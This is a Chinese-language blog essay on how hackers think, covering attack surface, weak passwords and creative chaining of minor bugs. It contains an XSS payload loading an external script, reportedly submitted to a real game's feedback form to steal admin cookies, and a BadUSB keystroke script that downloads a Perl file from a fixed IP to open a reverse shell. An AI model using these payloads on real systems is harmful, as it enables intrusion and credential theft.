聊一聊黑客是如何思考問題的

白客路人甲發表於2019-01-11

大家好,今天一起來講講黑客思維..


網路安全裡經常說的一句話是未知攻焉知防。基本所有的安全人員本身也是一名黑客,在黑客攻擊愈發普遍的今天,如何更好的防禦黑客攻擊?用句帶有點哲學的話——成為黑客。只有成為黑客,像黑客一樣思考,你才能知道從哪去防禦黑客;很俗的一句話,但很實在!而對於想進入安全行業的你,不管是處於攻還是防的位置,也是一樣的,我想都至少先讓自己成為一名黑客。


聊一聊黑客是如何思考問題的

看到上圖的第一直覺,你可以自己想下答案,問問自己看到了什麼?


正常的思維,第一直觀感受是中間那個很明顯,很大的黑點。因為這個黑點最吸引大家的注意力,稍微看過一些哲學故事的同學可能會想到黑點周圍白色的區域。是的,黑點只是其中一個小點,而黑點周圍白色的部分則足夠大;但是,我不知道有沒有人的答案是白色在外面?或者整個瀏覽器?整個電腦螢幕?電腦外呢?其實想表達的也正是,在黑客的思維裡,永遠不是侷限於可以看到的部分,而在於能夠想到或者沒想到的所有面。


其實這類同於攻擊面!安全是木桶短板原理,木桶能裝多少水不在於最長的那塊板,而是最短的那塊;一個系統的安全程度不取決於安全做的多全,做的多高大上,而在於是否把那些最簡單的問題處理掉。資料告訴我們,伺服器入侵,除了漏洞之外最大途徑是弱口令。


而弱口令就是一個根本沒多少技術含量的方式,屬於安全基線問題,這就是安全上的木桶原理。對於黑客而言,攻擊面不會侷限於能夠看到的點,而在於所有可能關聯或者沒關聯的面。就比如滲透測試或者說APT,很多時候結合社會工程學能夠取得很好的效果,成為一個絕佳的入侵渠道。所以,黑客思維的第一點,放開自己的思維與想象,發現和關注平時所容易忽略和沒有看到的地方。


我們來說說什麼是黑客?可能對於大部分人而言,黑客是個貶義詞。但在我看來卻不是這樣,黑客是某一類極客。對於黑客來說,這個世界充滿令人好奇的事物,這個世界有太多的東西可以探索,特別是網路的世界。我習慣用突破創造,守正出奇這八個字來定義黑客。


黑客是一個追求自由的群體,不喜歡受到條條框框的約束,總是喜歡突破這一切。突破同時也可能是一種創造,創造新的方法,新的方式,新的工具,新的東西。


聊一聊黑客是如何思考問題的

就比如這兩張圖,小學課本里的烏鴉喝水,老一代的烏鴉在我們看來是一種很傻的行為,但未嘗不是一種穩定傳統的方式?在生活中很多的事不也正如此?或者說就網路上很多安全的措施有時候也是穩定起見,因為新的東西除了先進,有時候也會帶來風險。而對於黑客來說,可能考慮的更不是這些,而是嘗試,好奇一切。


對於黑客而言,也有自己的黑客精神,有自己要堅持和秉承的東西(地下黑客的原則可能不同於正常黑客),這就是守正,自由、共享、平等、互助;原來我們有個小團隊叫做”WSL”,猥瑣流,這裡既是Web Security Loop的縮寫,同時也是”猥瑣流”的意思;在Web安全的世界裡,我們經常會提到"猥瑣”這個詞,或者說不僅限於Web安全,因為很多時候攻擊的產生不是利用一個多厲害的漏洞,而在於猥瑣的思路。幾個定義為低危的小漏洞的組合也許威力比一個高危漏洞還大,這就取決於漏洞的組合使用,利用思路;這些"猥瑣行為"就是一種出奇的表現。


瞭解黑客思維,成為黑客,才能更好的學會黑客的思考。


聊一聊黑客是如何思考問題的

這是一個意見反饋的介面,看到這樣一個介面,大家會怎麼做?對於普通人來說,這就是一個正常的意見提交框,用處就是提交反饋內容;大家想想黑客會怎麼做?提交攻擊程式碼,比如下面的程式碼:</textarea>'"><script src=http://t.cn/R63bUP9></script>


實際上,當時看到這樣一個功能,我就這樣做了。這是某手遊客服中心手機版的一個頁面,可以提交反饋意見。正常人看到這樣一個意見可能就提交符合開發者的內容,提交反饋的正常文字內容。但我的習慣性不會這麼做,我直接提交這樣一個攻擊程式碼,然後有的時候就攻擊成功了。比如就這樣一個結果。由於這樣的功能往往看反饋內容的都是系統的相關管理員,於是被攻擊成功的也是管理員, 可以直接拿到管理員登入的賬號的Cookie等資訊。


這種行為總結而言,就是"看到框就想X",這裡的X也就是XSS的意思;其實這更多的是一種習慣和意識,在黑客的想法裡,看到功能首先想到的不是使用,而是能不能利用。然後由於攻擊做的多了,看到不同的功能和應用頁面,自然就能意識到可能存在的問題,自然而然的就會去測試;經常會有很多人問,那些人在各種SRC提交的漏洞都是怎麼挖的,是不是有神器?但是也不是每個人的安全測試工具都是神器啊!其實很多時候是在使用中發現漏洞!


不同的潛意識行為和想法,取決於不同的知識面和經驗,也取決於不同的目的。


如果手機沒電了,那麼旁邊如果其他人正好有電腦,就會借用其他人電腦的USB口給手機充電。

這是一件很常見的事,但其實,只是插個資料線,也可以導致電腦被攻擊,這就是一種物理黑客攻擊。


一個很普通的手機,安裝了一個叫做"Nethunter"的黑客作業系統,也就成為"黑客手機"。裡面整合了一些黑客攻擊工具,大家是否會覺得這個攻擊挺高階的,物理黑客攻擊,但當我告訴大家原理之後,大家可能想到的就是"原來如此,這麼簡單"。

譬如手機上顯示的程式碼是:

CONTROL SPACE

STRING iterm

ENTER

ENTER

STRING ifconfig

ENTER


看完這個程式碼不知道大家是否已經明白了攻擊原理,熟悉MAC操作的同學可能知道CONTROL+SPACE其實是調起Spotlight,一個類似快捷啟動的工具,然後輸入iterm,就是查詢iTerm,然後回車,開啟iTerm後,再輸入ifconfig,再回車,就完成了整個命令輸入執行的過程;大家可以發現,這其實就是一個模擬鍵盤操作的過程,沒錯,攻擊原理就是模擬鍵盤操作,其實這時候的手機用USB接入電腦其實相當於就是手機把自己設定為鍵盤接入電腦,然後再直接模擬鍵盤操作進行攻擊。


那麼是否可以進行危害更大的攻擊?比如反彈Shell?當然可以,改下程式碼即可:

CONTROL SPACE

STRING iterm

ENTER

ENTER

STRING wget http://45.32.8.108/b.pl.txt -O /tmp/b.pl

STRING perl /tmp/b.pl 反彈監聽IP 監聽埠

ENTER


採用下載一個Perl指令碼來實現反彈Shell


講這個例子的目的其實想表達的一點就是,對於黑客來說,功能也可以是利用點。在黑客的眼裡,不是一定得使用漏洞,使用多高階的技巧。能達到攻擊目的和效果的方式都是好的攻擊方式。這些方式不侷限於大家所瞭解的只是漏洞或者暴力破解等,而經常做的就是利用正常的功能來實現攻擊,這種攻擊因為使用的是正常的功能,有時候反而更隱蔽;而類似的攻擊方式,不在少數。


其實,近幾年來,大家對黑客的瞭解已經越來越多,黑客也越來越失去神祕,然後大家就會發現,他們其實也是生活中的普通人;而在黑夜中工作,有時更多的是因為那時候安靜,做事效率高,或者是管理員不線上好做一些祕密的攻擊和測試等,而不是所謂各種描述裡的戴著衣帽,把自己包裹在黑暗中,不露出自己的真面目等。


從我的角度,其實黑客所不同於普通人的點,除了掌握的知識外,就是做事和思考的方式,僅此而已!

相關文章